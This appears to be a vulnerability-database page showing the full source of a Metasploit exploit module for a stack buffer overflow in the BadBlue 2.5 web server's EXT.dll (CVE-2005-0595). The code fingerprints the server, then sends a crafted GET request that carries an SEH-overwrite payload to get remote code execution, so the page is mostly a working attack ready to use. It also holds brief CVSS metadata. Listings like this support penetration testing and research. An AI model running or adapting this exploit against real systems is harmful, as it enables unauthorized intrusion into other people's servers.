Lucene search
+L

BadBlue 2.5 EXT.dll Buffer Overflow

🗓️ 20 Apr 2003 00:00:00Reported by acaro <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 52 Views

BadBlue 2.5 EXT.dll Buffer Overflow exploit for version 2.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
  # However, a proper Server header is returned when requesting /index.html or using HEAD.
  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
        'Description' => %q{
          This is a stack buffer overflow exploit for BadBlue version 2.5.
        },
        'Author' => 'acaro <acaro[at]jervus.it>',
        'License' => BSD_LICENSE,
        'References' => [
          [ 'CVE', '2005-0595' ],
          [ 'OSVDB', '14238' ],
          [ 'BID', '7387' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
        ],
        'DisclosureDate' => '2003-04-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    info = http_fingerprint # check method
    if (info =~ /BadBlue\/2\.5/)
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    uri = "GET /ext.dll?mfcisapicommand="
    sploit = rand_text_alphanumeric(500)
    seh = generate_seh_payload(target.ret)
    sploit[492, seh.length] = seh
    uri << sploit

    print_status("Trying target #{target.name}...")
    send_request_raw({ 'uri' => uri })

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2003 00:00Current
6Medium risk
Vulners AI Score6
CVSS 27.5
EPSS0.60083
52